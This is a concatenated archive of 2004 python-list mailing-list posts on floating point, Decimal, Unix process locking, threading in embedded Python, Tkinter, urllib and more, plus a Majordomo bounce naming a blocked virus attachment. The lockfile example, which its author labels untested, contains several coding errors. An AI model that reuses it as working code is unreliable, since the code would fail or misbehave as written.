Message-ID: <4150A985.8010507@po-box.mcgill.ca> Grant Edwards said unto the world upon 2004-09-21 16:12: > On 2004-09-21, Carl Banks wrote: > >>"Chris S." wrote in message news:<70b3d.1822$uz1.747 at trndny03>... >> >>>I just find >>>it funny how a $20 calculator can be more accurate than Python running >>>on a $1000 Intel machine. >> >>Actually, if you look at Intel's track record, it isn't that surprising. >> >>How many Intel Pentium engineers does it take to change a light bulb? >>Three. One to screw in the bulb, and one to hold the ladder. > > > Intel, where quality is Job 0.9999999997. > Since we're playing: Why'd Intel call it the Pentium chip? 'Cause they added 100 to 486 and got 585.999999999989 Brian vdB From carribeiro at gmail.com Sat Sep 25 19:23:55 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Sat, 25 Sep 2004 20:23:55 -0300 Subject: Why not FP for Money? In-Reply-To: References: <10l9je9993jlfa3@corp.supernews.com> Message-ID: <864d370904092516232f4a6d6f@mail.gmail.com> On Sat, 25 Sep 2004 11:20:47 -0700, Richard Hanson wrote: > (I also don't think that Decimal should be thought of as *only* a > "money" type; but this latter point already seems to be the > consensus.) I agree with you, if you meant to say that Decimals are *more* than simple money representations. I think that my previous posts may have seeded some confusion with regards to my understanding of this particular issue. There are floating point decimals, and fixed point decimals. The former are generic floating point numbers, as good as the current binary floats for most situations but with the added advantage of decimal precision, and the removal of the 'surprise factor' that the inherent loss of precision of the base conversion causes. As far as money representation is concerned, it's really a fixed point decimal. But while discussing it here, I see less and less need of native support form fixed point decimals. I think that in the long run the current Decimals will prove more than enough for the task of handling generic floating point numbers, and that includes money amounts as a special case. But it's too early to tell. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From SPAMhukolauTRAP at SPAMworldnetTRAP.att.net Sat Sep 4 18:21:02 2004 From: SPAMhukolauTRAP at SPAMworldnetTRAP.att.net (Nick Landsberg) Date: Sat, 04 Sep 2004 22:21:02 GMT Subject: Xah Lee's Unixism In-Reply-To: <1094329053.514935@teapot.planet.gong> References: <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <41376B82.C6A202FC@yahoo.com> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <1094257487.855439@teapot.planet.gong> <1094285694.404322@teapot.planet.gong> <1bpt51alai.fsf@cs.nmsu.edu> <1094329053.514935@teapot.planet.gong> Message-ID: Rupert Pigott wrote: [SNIP] > > > Indeed, it could have failed in a way entirely unique to itself... :) > > The O-Ring thing had been identified, was preventable and should have > been prevented. Sure, perhaps the design did suck, but the point is > the whole disaster was trivially avoidable if the people running the > show were willing to grasp the nettle. > Since we're so far off-topic here anyway ... It has been so many years since the Challenger disaster that memory fades (especially at my age), so bear with me if a misremember something. As I recall, the particular launch happened during an unusual cold spell in Florida. I also recall that the investigation uncovered strong recommendations by several senior engineers, prior to launch, that the launch should be postponed because the system (shuttle and boosters) had never been launched during those kinds of weather conditions. (It could very well be that they might have pointed out the O-rings specifically, but I don't recall.) Some managementcritter at some level (probably in NASA) ignored or overruled those recommendations. I can only conjecture that this was because that the prevailing culture (in most corporations, then and now) is "we have to meet our schedules." The managmentcritters' attitude can be summarized by: - "If *we* don't meet *our* schedules, it's my butt on the line." (The regal "we" and "our" purposely emphasized.) - "If we meet our schedules and **** up, it's someone else's butt on the line." NPL P.S. - I make no claim that the design was good, bad, or indifferent. It is outside my area of expertise. I *do* know, from personal experience, that many technically sound recommendations are overruled by management, for whatever reasons. The root cause could well have been in the choice of Morton-Thiokol, I don't know. If my recollections above are correct, tho, the "proximate cause" was launching the shuttle at all given the objections of the engineers. -- "It is impossible to make anything foolproof because fools are so ingenious" - A. Bloch From adalke at mindspring.com Thu Sep 30 00:58:14 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Thu, 30 Sep 2004 04:58:14 GMT Subject: multiple instance on Unix In-Reply-To: References: <52324E76-123E-11D9-B04E-0003938543A0@orthogonsystems.com> <415AF802.1080909@bellsouth.net> Message-ID: Nigel King wrote: > I had a program that was called randomly by specific emails arriving > which asked for certain information. If two or more emails arrived > simultaneously then procmail asked two or more instances of my program > to run. These instances interfered with one another, so I needed a > process to stop that from happening. .. > Now, this works but I wondered whether anybody knew of a more standard > bit of python code was available for ensuring that only one instance was > processing. What you've just described is pretty standard approach. You might also look into the fctnl module for lockf/flock. (I get confused when I need to deal with them.) The 'open with O_EXCL' solution by Mike Meyer also works. > # This program is not thread safe so we must protect it from being > # trampled over by another copy Thread-safe means something different than this. Multiple threads run in the same process space and can modify the same in-memory data structures. OTOH, you're using the filesystem as the "in-memory data structure" so it is the moral equivalent. Another solution is to make your program "thread safe" so that you don't have this problem at all. If your program modifies shared data files then this of course is not possible. > # pause if another email is being processed for half an hour maximum > t = time.time()+1800 That's pretty excessive. Does it often take that long for a program to finish? Here's one method for multiple processes to get along in an ordered manner. Have a shared directory that everyone can write to. When a program starts, make $dir/lockfile-$timestamp-$pid This will be unique and in named in time order except in very rare exceptions that you can ignore. (system clock goes backwards to correct for time skew, process id rolls over in the same moment that multiple requests come in). You can probably use str(time.time()) for the timestamp and str(os.getpid()) for the pid. Once the program creates the file, make a symbol link from that to the real lock file. Call that one simply $dir/lockfile my_lockfile = ..$dir/lockfile-$timestamp-$pid system_lockfile = $dir/-ockfile os.symlink(my_lockfile, system_lockfile) Ths symlink call will pass or fail atomically, so no two programs can succeed at the same time. This gives you the one-at-a-time characteristic you're looking for. (It may fail on a remote mounted file, but then again so would the mkdir trick or O_EXCL.) When finished, delete the two lock files. If the symlink fails, sleep and try again later. To get the ordering you want, if the symlink fails then scan the directory and look for a process lockfile which has an earlier timestamp. If there is one, sleep for a bit and do the check again. If there is a waiting lock file before the given process then one trick is to find the one with the timestamp immediately before the given program. Then when it wakes up all it needs to do is check the existance of that file. If it doesn't exist then attempt the symlink-based lock, which should succeed (since there isn't any earlier process trying to get the same lock).0 Another trick is to check for programs that have the lock but have crashed so won't ever delete them. A waiting process can look at the lockfile, follow the symlink back to the original file, and get the locking process's pid. If the process no longer exists (and it's very unlikely you'll sleep long enough to cycle through the pids to have a new process with the same pid) then the next program in line should feel free to delete the link and take over the lock. That's a lot to say. The code's pretty simple. Should be something like (UNTESTED!) import os basedir = "lock-directory" sys_lockfilename = os.path.join(basedir, "lockfile") my_lockfilename = os.path.join(basedir, "-".join("lockfile", str(time.time()), str(os.getpid))) def get_lock_info(filename): terms = filename.split("-") if len(terms) != 3 and terms[0] != "lockfile": return None return float(terms[1]), int(terms[2])) def get_next_earlier_info(basedir, my_name): filedata = [] for filename in os.listdir(basedir): fileinfo = get_lock_info(filename) if fileinfo is not None: # ordered by time, pid, filename filedata.append( fileinfofileinfo + (filename,) ) # Sort by earliest time filedata.sort() # Find where this file is, then get the term before it my_data = get_lock_info(my_name) + (my_name,) i = filedata.find(my_data) if i == 0: return None return filedata[i-1] def pid_still_running(pid): try: os.kill(pid, 0) except OSError: return 0 return 1 def getlock(my_lockfilename, sys_lockfilename): try: os.symlink(my_lockfilename, sys_lockfilename) except OSError: return False return True def main(): f=open(my_lockfilename, "w") f.close() try: if not getlock(my_lockfilename, sys_lockfilename): wait_info = get_next_earlier_info(basedir, my_lockfilename) if wait_info: wait_pid = wait_info[1] while pid_still_running(wait_pid): time.sleep(5) while not getlock(my_lockfilename, sys_lockfilename): time.sleep(5) # Could check if the process is still running # (use os.readlink() to get the filename pointed to # by the system lockfile) but it's tricky because of # the rare possibility that two processes are in this # loop. I would need to put more thought into this # to figure out the exact ordering. try: ... do your work here ... finally: os.remove(sys_lockfilename) finally: os.remove(my_lockfilename) Andrew dalke at dalkescientific.com From peter at engcorp.com Tue Sep 14 21:08:42 2004 From: peter at engcorp.com (Peter Hansen) Date: Tue, 14 Sep 2004 21:08:42 -0400 Subject: How Can I overide a function in an existing class In-Reply-To: References: Message-ID: Eddie wrote: > I have changed the BaseHTTPServer.py file to do what I want and > included it in the directory with my service. This works, but there > has to be a better way. > > Is there some other way to override the function? Often I've found it possible and relatively "clean" to write code that modifies the class involved dynamically, often just wrapping the existing method in another one that does what I want (or undoes it, perhaps), or just by sticking in a replacement. Trivialized example that I hope gives you the idea: # file BaseHTTPServer.py class SomeClass: def someMethod(self): log_message(somemsg) # undesirable call # other stuff that is good # in your own file import BaseHTTPServer def replacementMethod(self): # only the good stuff BaseHTTPServer.SomeClass.someMethod = replacementMethod # followed by the rest of your existing code that # actually instantiates a SomeClass, even if indirectly Any help? -Peter From Joseph.V.Laughlin at boeing.com Wed Sep 15 16:05:44 2004 From: Joseph.V.Laughlin at boeing.com (Joe Laughlin) Date: Wed, 15 Sep 2004 20:05:44 GMT Subject: function arguments Message-ID: I want to do something like the following def foo(list_of_args): call_other_function(arg1, arg2, arg3) # Where arg1 == "x", arg2 == "y", etc. # Should work with any list size foo(["x", "y", "z"]) Make sense? Need clarification? In summary, I want to pass a list of arguments to a function. The function needs to pass each argument in the list to a different function. Thanks, Joe From peter at engcorp.com Thu Sep 16 18:24:17 2004 From: peter at engcorp.com (phansen) Date: Thu, 16 Sep 2004 18:24:17 -0400 Subject: what's the deal of "_" in Python? In-Reply-To: References: Message-ID: <49idncYjAKcPj9fcRVn-og@powergate.ca> Yun Mao wrote: > Can someone give me some pointers to the related docs? Thanks. It's a variable name. See http://docs.python.org/ref/identifiers.html If you were hoping of a more elaborate answer, please refer to http://groups.google.ca/groups?threadm=2moucmFo8dpdU1%40uni-berlin.de and also give just a *little* more detail in your next question, so we don't have to mindread about which use of "_" you are talking about. It's used as a standalone variable name, as a prefix in several different ways, sometimes as a substitute for self, and so on. Which do you mean? -Peter From in.aqua.scribis at nl.invalid Tue Sep 7 15:43:02 2004 From: in.aqua.scribis at nl.invalid (Peter Kleiweg) Date: Tue, 7 Sep 2004 21:43:02 +0200 Subject: unexplained behavior of tkMessageBox.askyesno In-Reply-To: References: Message-ID: Peter Kleiweg schreef: > from Tkinter import * > import tkFileDialog > import tkMessageBox > > def openProject(): > filepath = tkFileDialog.askopenfilename(filetypes=(("project files","*.ini"), ("all","*"))) > if filepath: > loadProject(filepath) > > def makeClean(): > if tkMessageBox.askyesno('Make clean', 'Remove all files created by Make?'): > print 'yes' > # more code I changed the code to this: def makeClean(): print tkMessageBox.askyesno('Make clean', 'Remove all files created by Make?') If I have used openProject(), the function makeClean() always prints 'False', no matter what I choose. -- Peter Kleiweg L:NL,af,da,de,en,ia,nds,no,sv,(fr,it) S:NL,de,en,(da,ia) info: http://www.let.rug.nl/~kleiweg/ls.html The Halloween Documents: http://www.opensource.org/halloween/ From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom Thu Sep 2 15:45:27 2004 From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (Michel Claveau - abstraction méta-galactique non triviale en fuite perpétuelle.) Date: Thu, 2 Sep 2004 21:45:27 +0200 Subject: Encoding problems References: Message-ID: Hi ! On W-XP / W2K, you can solve the problem with : - change the font of the console to "Lucida handwriter" - change your script to : # -*- coding: cp1252 -*- import os ecran=os.popen('MODE CON: CP SELECT=1252').readlines() s1 = 'n?z' s2 = raw_input('Please type in "n?z":') print repr(s1) print repr(s2) Note than you can force the console to MODE CP = 1252, and del two lines or the script. Perso, I do it via an icon. *sorry for my bad english* @-salutations -- Michel Claveau m?l : http://cerbermail.com/?6J1TthIa8B From smcg4191 at frii.RimoovThisToReply.com Mon Sep 20 09:33:13 2004 From: smcg4191 at frii.RimoovThisToReply.com (Stuart McGraw) Date: Mon, 20 Sep 2004 07:33:13 -0600 Subject: bad data from urllib when run from MS .bat file References: <414cb56d$0$58900$75868355@news.frii.net> Message-ID: <414edc1b$0$58892$75868355@news.frii.net> "Bengt Richter" wrote in message news:cilp2b$l3k$0$216.39.172.122 at theriver.com... > On Sat, 18 Sep 2004 16:23:40 -0600, "Stuart McGraw" wrote: > > >I just spent a $*#@!*&^&% hour registering at ^$#@#%^ > >Sourceforce and trying to submit a Python bug report > >but it still won't let me. I give up. Maybe someone who > >cares will see this post, or maybe it will save time for > >someone else who runs into this problem... > > > >================================================ > > > >Environment: > >- Microsoft Windows 2000 Pro > >- Python 2.3.4 > >- urllib (version shipped with Python-2.3.4) > > > >Problem: > > urllib returns corrupted data when reading an EUC-JP encoded > > web page, from a python script run from a MS Windows .BAT > >file, but not when the same script is run from the command line. > Just a thought: in case your command line is being interpreted > by cmd.exe and .bat by something else (command.com?) you could > check if it makes a difference, e.g., > > copy test.bat test.cmd > > and try it again? (explicitly as test.cmd, not just test, since any > same-name .com or .exe or .bat may have priority over .cmd) > You can probably investigate the latter by something like > > [21:54] C:\pywk\junk>echo %pathext% > .COM;.EXE;.BAT;.CMD Well, I'm pretty sure cmd.exe was executing it, but I tried your suggestion to make absolutely sure. Same results :-( Given the other (seeming) urllib problem I mentioned in another post in this thread, which appeared without any involvement of batch scripts, I am getting more and more suspicious that urllib is buggy, at least with non-single byte data. From graeme.matthew at contrado.com.au Thu Sep 9 06:19:33 2004 From: graeme.matthew at contrado.com.au (Graeme Matthew) Date: Thu, 9 Sep 2004 20:19:33 +1000 Subject: xpath and python References: Message-ID: <41402e3c$0$22802$5a62ac22@per-qv1-newsreader-01.iinet.net.au> Im sure the wrapper for xerces / xalan supports this. http://pirxx.sourceforge.net/ "C Gillespie" wrote in message news:chp6lo$qr6$1 at ucsnew1.ncl.ac.uk... > Dear All, > > Does anyone know if there is a python library that accepts xpath > constructs? > > Thanks for any help > > Colin > > From Majordomo at lists.tislabs.com Tue Sep 14 11:12:15 2004 From: Majordomo at lists.tislabs.com (Majordomo at lists.tislabs.com) Date: Tue, 14 Sep 2004 11:12:15 -0400 (EDT) Subject: Majordomo results: Re: Here Message-ID: <200409141512.i8EFCFW04158@lists.tislabs.com> -- >>>> This is a multi-part message in MIME format. **** Command 'this' not recognized. >>>> >>>> ------=_NextPart_000_0001_00004F35.00001EBA **** Command '------=_nextpart_000_0001_00004f35.00001eba' not recognized. >>>> Content-Type: text/plain; **** Command 'content-type:' not recognized. >>>> charset="Windows-1252" **** Command 'charset="windows-1252"' not recognized. >>>> Content-Transfer-Encoding: 7bit **** Command 'content-transfer-encoding:' not recognized. >>>> >>>> See the attached file for details. **** Command 'see' not recognized. >>>> >>>> ------=_NextPart_000_0001_00004F35.00001EBA **** Command '------=_nextpart_000_0001_00004f35.00001eba' not recognized. >>>> Content-Type: text/html; **** Command 'content-type:' not recognized. >>>> name="yours.pif.htm" **** Command 'name="yours.pif.htm"' not recognized. >>>> Content-Transfer-Encoding: 7bit **** Command 'content-transfer-encoding:' not recognized. >>>> Content-Disposition: attachment; **** Command 'content-disposition:' not recognized. >>>> filename="yours.pif.htm" **** Command 'filename="yours.pif.htm"' not recognized. >>>> X-NAI-Gauntlet: Attachment removed **** Command 'x-nai-gauntlet:' not recognized. >>>> >>>> **** Command '>>> VIRUS INFECTION ALERT **** Command 'virus' not recognized. >>>> <body> **** Command '<body>' not recognized. >>>> <h1><font color="#FF0000">VIRUS INFECTION ALERT</font></h1> **** Command '<h1><font' not recognized. >>>> <p>The Gauntlet Firewall® discovered a virus in this file. **** Command '<p>the' not recognized. >>>> The file was not repaired and has therefore been removed. **** Command 'the' not recognized. >>>> See your system administrator for further information. **** Command 'see' not recognized. >>>> </p> **** Command '</p>' not recognized. >>>> <p>Filename: yours.pif<br> **** Command '<p>filename:' not recognized. >>>> Virus name: W32/Netsky.d at MM</p> **** Command 'virus' not recognized. >>>> >>>> <p>Copyright © 1993-2001, Networks Associates Technology, Inc.<br> **** Command '<p>copyright' not recognized. >>>> All Rights Reserved.<br> **** Command 'all' not recognized. >>>> <a href="http://www.pgp.com">http://www.pgp.com</a></p> **** Command '<a' not recognized. >>>> </body></html> **** Command '</body></html>' not recognized. >>>> >>>> >>>> ------=_NextPart_000_0001_00004F35.00001EBA-- **** Command '------=_nextpart_000_0001_00004f35.00001eba--' not recognized. >>>> >>>> **** No valid commands found. **** Commands must be in message BODY, not in HEADER. **** Help for Majordomo at lists.tislabs.com: This help message is being sent to you from the Majordomo mailing list management system at Majordomo at lists.tislabs.com. This is version 1.94.4 of Majordomo. If you're familiar with mail servers, an advanced user's summary of Majordomo's commands appears at the end of this message. Majordomo is an automated system which allows users to subscribe and unsubscribe to mailing lists, and to retrieve files from list archives. You can interact with the Majordomo software by sending it commands in the body of mail messages addressed to "Majordomo at lists.tislabs.com". Please do not put your commands on the subject line; Majordomo does not process commands in the subject line. You may put multiple Majordomo commands in the same mail message. Put each command on a line by itself. If you use a "signature block" at the end of your mail, Majordomo may mistakenly believe each line of your message is a command; you will then receive spurious error messages. To keep this from happening, either put a line starting with a hyphen ("-") before your signature, or put a line with just the word end on it in the same place. This will stop the Majordomo software from processing your signature as bad commands. Here are some of the things you can do using Majordomo: I. FINDING OUT WHICH LISTS ARE ON THIS SYSTEM To get a list of publicly-available mailing lists on this system, put the following line in the body of your mail message to Majordomo at lists.tislabs.com: lists Each line will contain the name of a mailing list and a brief description of the list. To get more information about a particular list, use the "info" command, supplying the name of the list. For example, if the name of the list about which you wish information is "demo-list", you would put the line info demo-list in the body of the mail message. II. SUBSCRIBING TO A LIST Once you've determined that you wish to subscribe to one or more lists on this system, you can send commands to Majordomo to have it add you to the list, so you can begin receiving mailings. To receive list mail at the address from which you're sending your mail, simply say "subscribe" followed by the list's name: subscribe demo-list If for some reason you wish to have the mailings go to a different address (a friend's address, a specific other system on which you have an account, or an address which is more correct than the one that automatically appears in the "From:" header on the mail you send), you would add that address to the command. For instance, if you're sending a request from your work account, but wish to receive "demo-list" mail at your personal account (for which we will use "jqpublic at my-isp.com" as an example), you'd put the line subscribe demo-list jqpublic at my-isp.com in the mail message body. Based on configuration decisions made by the list owners, you may be added to the mailing list automatically. You may also receive notification that an authorization key is required for subscription. Another message will be sent to the address to be subscribed (which may or may not be the same as yours) containing the key, and directing the user to send a command found in that message back to Majordomo at lists.tislabs.com. (This can be a bit of extra hassle, but it helps keep you from being swamped in extra email by someone who forged requests from your address.) You may also get a message that your subscription is being forwarded to the list owner for approval; some lists have waiting lists, or policies about who may subscribe. If your request is forwarded for approval, the list owner should contact you soon after your request. Upon subscribing, you should receive an introductory message, containing list policies and features. Save this message for future reference; it will also contain exact directions for unsubscribing. If you lose the intro mail and would like another copy of the policies, send this message to Majordomo at lists.tislabs.com: intro demo-list (substituting, of course, the real name of your list for "demo-list"). III. UNSUBSCRIBING FROM MAILING LISTS Your original intro message contains the exact command which should be used to remove your address from the list. However, in most cases, you may simply send the command "unsubscribe" followed by the list name: unsubscribe demo-list (This command may fail if your provider has changed the way your address is shown in your mail.) To remove an address other than the one from which you're sending the request, give that address in the command: unsubscribe demo-list jqpublic at my-isp.com In either of these cases, you can tell Majordomo at lists.tislabs.com to remove the address in question from all lists on this server by using "*" in place of the list name: unsubscribe * unsubscribe * jqpublic at my-isp.com IV. FINDING THE LISTS TO WHICH AN ADDRESS IS SUBSCRIBED To find the lists to which your address is subscribed, send this command in the body of a mail message to Majordomo at lists.tislabs.com: which You can look for other addresses, or parts of an address, by specifying the text for which Majordomo should search. For instance, to find which users at my-isp.com are subscribed to which lists, you might send the command which my-isp.com Note that many list owners completely or fully disable the "which" command, considering it a privacy violation. V. FINDING OUT WHO'S SUBSCRIBED TO A LIST To get a list of the addresses on a particular list, you may use the "who" command, followed by the name of the list: who demo-list Note that many list owners allow only a list's subscribers to use the "who" command, or disable it completely, believing it to be a privacy violation. VI. RETRIEVING FILES FROM A LIST'S ARCHIVES Many list owners keep archives of files associated with a list. These may include: - back issues of the list - help files, user profiles, and other documents associated with the list - daily, monthly, or yearly archives for the list To find out if a list has any files associated with it, use the "index" command: index demo-list If you see files in which you're interested, you may retrieve them by using the "get" command and specifying the list name and archive filename. For instance, to retrieve the files called "profile.form" (presumably a form to fill out with your profile) and "demo-list.9611" (presumably the messages posted to the list in November 1996), you would put the lines get demo-list profile.form get demo-list demo-list.9611 in your mail to Majordomo at lists.tislabs.com. VII. GETTING MORE HELP To contact a human site manager, send mail to Majordomo-Owner at lists.tislabs.com. To contact the owner of a specific list, send mail to that list's approval address, which is formed by adding "-approval" to the user-name portion of the list's address. For instance, to contact the list owner for demo-list at lists.tislabs.com, you would send mail to demo-list-approval at lists.tislabs.com. To get another copy of this help message, send mail to Majordomo at lists.tislabs.com with a line saying help in the message body. VIII. COMMAND SUMMARY FOR ADVANCED USERS In the description below items contained in []'s are optional. When providing the item, do not include the []'s around it. Items in angle brackets, such as <address>, are meta-symbols that should be replaced by appropriate text without the angle brackets. It understands the following commands: subscribe <list> [<address>] Subscribe yourself (or <address> if specified) to the named <list>. unsubscribe <list> [<address>] Unsubscribe yourself (or <address> if specified) from the named <list>. "unsubscribe *" will remove you (or <address>) from all lists. This _may not_ work if you have subscribed using multiple addresses. get <list> <filename> Get a file related to <list>. index <list> Return an index of files you can "get" for <list>. which [<address>] Find out which lists you (or <address> if specified) are on. who <list> Find out who is on the named <list>. info <list> Retrieve the general introductory information for the named <list>. intro <list> Retrieve the introductory message sent to new users. Non-subscribers may not be able to retrieve this. lists Show the lists served by this Majordomo server. help Retrieve this message. end Stop processing commands (useful if your mailer adds a signature). Commands should be sent in the body of an email message to "Majordomo at lists.tislabs.com". Multiple commands can be processed provided each occurs on a separate line. Commands in the "Subject:" line are NOT processed. If you have any questions or problems, please contact "Majordomo-Owner at lists.tislabs.com". From ville at spammers.com Thu Sep 30 13:55:32 2004 From: ville at spammers.com (Ville Vainio) Date: 30 Sep 2004 20:55:32 +0300 Subject: Calling (C)Python code from Java: Is it JPype? References: <cjeem1$5h9$1@newshispeed.ch> <1DI6d.223$j5.307837@weber.videotron.net> <cjg70t$gun$1@newshispeed.ch> Message-ID: <du7wtybod4b.fsf@lehtori.cc.tut.fi> >>>>> "f.geiger" == F GEIGER <f.geiger at vol.at> writes: f.geiger> GUI in a compiled lang, the gist in Python. If so, I'll give it a try. Why GUI in compiled lang? Typically the time in a GUI is spent in a GUI library, which is native code. -- Ville Vainio http://tinyurl.com/2prnb From jerf at jerf.org Tue Sep 21 14:45:45 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Tue, 21 Sep 2004 18:45:45 GMT Subject: Python 3.0, rich comparisons and sorting order References: <864d370904092109509df67ee@mail.gmail.com> <loom.20040921T192348-961@post.gmane.org> <20040921173455.GB2891@unununium.org> <mailman.3661.1095788560.5135.python-list@python.org> Message-ID: <pan.2004.09.22.18.02.19.310499@jerf.org> On Tue, 21 Sep 2004 17:42:35 +0000, Steven Bethard wrote: > Is there a good use case for binary trees with incompatible types at the nodes? See the ZODB's BTree-based storage. From jepler at unpythonic.net Thu Sep 9 09:21:58 2004 From: jepler at unpythonic.net (Jeff Epler) Date: Thu, 9 Sep 2004 08:21:58 -0500 Subject: Machine identification In-Reply-To: <16703.31801.534210.542247@montanaro.dyndns.org> References: <01f101c495cd$a786cc40$054b12ac@D18SYX41> <mailman.3050.1094666837.5135.python-list@python.org> <O2I%c.17391$4D1.12711@newssvr27.news.prodigy.com> <20040908205301.GD19306@unpythonic.net> <16703.31801.534210.542247@montanaro.dyndns.org> Message-ID: <20040909132157.GE19306@unpythonic.net> I feel compelled to point out that having the IP address in the (250) response to HELO is not a requirement, and the example I found in RFC821 didn't have it (and neither did the EHLO examples in 2821): R: 220 BBN-UNIX.ARPA Simple Mail Transfer Service Ready S: HELO USC-ISIF.ARPA R: 250 BBN-UNIX.ARPA That said, this is a pretty cute idea given that a generous fraction of SMTP servers do seem to include the IP address in the response to HELO. Jeff -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 196 bytes Desc: not available URL: <http://mail.python.org/pipermail/python-list/attachments/20040909/bda70160/attachment.sig> From rogerb at rogerbinns.com Sat Sep 25 17:06:57 2004 From: rogerb at rogerbinns.com (Roger Binns) Date: Sat, 25 Sep 2004 14:06:57 -0700 Subject: Wrapping Python ? References: <INWdnakjH77cbcncRVn-ig@comcast.com> <g_GdnVVeza2_Z8ncRVn-sg@powergate.ca> <YImdncwyArIjXcjcRVn-og@comcast.com> Message-ID: <ol3h22-ilt.ln1@home.rogerbinns.com> USCode wrote: > subdirectory. From the Starkit website - "A Starkit creates the > illusion of a "file system in a file" - on the outside, it's a single > file, yet the application code continues to see a complete directory > of scripts, extensions, packages, images, and whatever other files it > needs." So what is done about shared libraries? Python includes a number of shared libraries (dll/so), several of which can end up being needed, even by relatively simple apps. On Windows, the Python interpretter itself is a shared library (python23.dll). For a more non-trivial app such as my BitPim program, there are 45 libraries that end up needing to be packaged. (A lot of this is because it is common practise to split larger packages such as wxPython and win32all into numerous independent sub-libraries). py2exe and tools like that (eg cx-Freeze) do package everything into one file, except the shared libraries are left as seperate files, and user files are as well (since you have to have seperate files anyway for the libraries). The problem with shared libraries is that they have to be seperate files for the OS to load them properly. One variant of the McMillan installer effectively extracted them at run time, but that introduces a whole host of problems such as the user needing write permission to the filesystem, security (eg a shared /tmp), and that the libraries may not end up being shared between processes (due to being extracted to different locations for security reasons). I tried the demo (Fractal Mountains) and can't see how it deals with the shared library issue. Roger From news at woody.datatailors.com Wed Sep 15 16:20:00 2004 From: news at woody.datatailors.com (Peter van Kampen) Date: Wed, 15 Sep 2004 22:20:00 +0200 Subject: mod_python authenhandler example References: <mailman.3381.1095279486.5135.python-list@python.org> Message-ID: <slrnckh8vg.1le.news@woody.datatailors.com> In article <mailman.3381.1095279486.5135.python-list at python.org>, Golawala, Moiz M (GE Infrastructure) wrote: > Hi All, > > I am new to mod_python. I installed it yesterday and was trying out the > mod_python authenhandler example in the documentation. When I typed in the > url to go to a web page, sure enough a modpython asked me for the username > and password and I was in. However when I close and reopen the browser and > go to the url, I get in without authentication. If I change the expected > password in the code and reload the page, I am asked for the username and > password. But once in, I am never authenticated again no matter how often I > reload the page or even restart the browser. > > I don't know if there is a browser setting in mozilla that is > remembering the password and username and not authenticating me again. I > deleted all the cookies, passwords, and history and it still wont work. Does > anyone have a clue as to what is happening. Try restarting apache (and therefor mod_python) when you encounter this problem. My guess it that you'll be asked to authenticate again. If so post your code to make it easy to spot the problem. (I guess the result is somehow cached). Hth, PterK -- Peter van Kampen pterk -- at -- datatailors.com From my.news.groups at noos.fr Thu Sep 16 03:52:45 2004 From: my.news.groups at noos.fr (nik) Date: Thu, 16 Sep 2004 09:52:45 +0200 Subject: Embedded python with threads In-Reply-To: <41486865$0$26393$79c14f64@nan-newsreader-06.noos.net> References: <41486865$0$26393$79c14f64@nan-newsreader-06.noos.net> Message-ID: <4149463f$0$12198$79c14f64@nan-newsreader-07.noos.net> nik wrote: > hi, > > I have a C++ app that loads a python module and calls a function from > it. The call is getting the contents of a list that's global in that > module. > > However, I'd like the python script to be also running a thread that > fills that global list, but can't figure out how to do it. Essentially > the code looks like; > > in the C++ app; > > //// > Py_Initialize(); > > // PyImport_ImportModule blocks until the myModule script has run > // through... > PyObject* module = PyImport_ImportModule("myModule"); > > PyObject* function = PyObject_GetAttrString(module, "GetList"); > while(1) { > PyObject* pyList = PyObject_CallFunction(function, ""); > // use the stuff in pyList > sleep(15); > } > //// > > and in the myModule.py; > > #### > import thread > import time > orderListLock = thread.allocate_lock() > > pyList = [] > > def GetList(): > global pyList > tmpList = [] > orderListLock.acquire() > tmpList = pyList > orderListLock.release() > return tmpList > > def keepFillingListThread(): > global pyList > while 1: > orderListLock.acquire() > pyList.append(somestuff) > orderListLock.release() > time.sleep(5) > > # the following statement happens when the C++ app imports the module, > # but the thread only lives as long the main python thread (which is > # over straight away on my linux PC) > > thread.start_new_thread(keepFillingListThread, ()) > > #### > > Has anyone any ideas? > > thanks, > nik Hi again, I think I'm one step further. I've put the thread.start_new_thread(keepFillingListThread, ()) command into its own function, like def startThreads(): thread.start_new_thread(keepFillingListThread, ()) while 1: pass and then in the C++ part, I've used boost::thread to create a thread to call startThreads like; void myBoostThread::operator () () { PyObject* function = PyObject_GetAttrString(m_cfg.module, "createThreads"); PyObject* result = PyObject_CallFunction(function, ""); } // after the PyObject* module = PyImport_ImportModule("myModule"); line from above: myBoostThreadParams params; params.module = module; myBoostThread mythread(params); boost::thread theThread(mythread); this seems to work (at least, the python threads stay alive), but it rapidly crashes out with Fatal Python error: ceval: tstate mix-up Aborted as soon as I call the function GetList above. Can anyone help me? thanks From aleaxit at yahoo.com Mon Sep 20 03:02:32 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 20 Sep 2004 09:02:32 +0200 Subject: Math errors in python References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com> <pan.2004.09.19.13.27.17.613143@jerf.org> <Ooa3d.318$Pz3.245@trndny01> <mailman.3490.1095579571.5135.python-list@python.org> <70b3d.1822$uz1.747@trndny03> <mailman.3534.1095656825.5135.python-list@python.org> <GTu3d.5381$gG4.3487@newsread1.news.pas.earthlink.net> Message-ID: <1gkem8x.118fvg1hyfl0bN%aleaxit@yahoo.com> Andrew Dalke <adalke at mindspring.com> wrote: > Uncle Tim: > > That's absurd. pi is 3 > > Personally I've found that pie is usually round, though > if you're talking price I agree -- I can usually get a > slice for about $3, more like $3.14 with tax. I like > mine apple, with a bit of ice cream. > > Strange spelling though. Yeah, everybody knows it's spelled "py"! Alex From tonino.greco at gmail.com Thu Sep 9 03:27:38 2004 From: tonino.greco at gmail.com (tag) Date: 9 Sep 2004 00:27:38 -0700 Subject: excel formula parseing ?? Message-ID: <5db3bf00.0409082327.ac74fad@posting.google.com> Hi, I have a problem in that I need to be able to parse excel formula's and evaluate them to get results. Python is very well suited for this as it has WONDERFUL data handling capabilities. My question is : 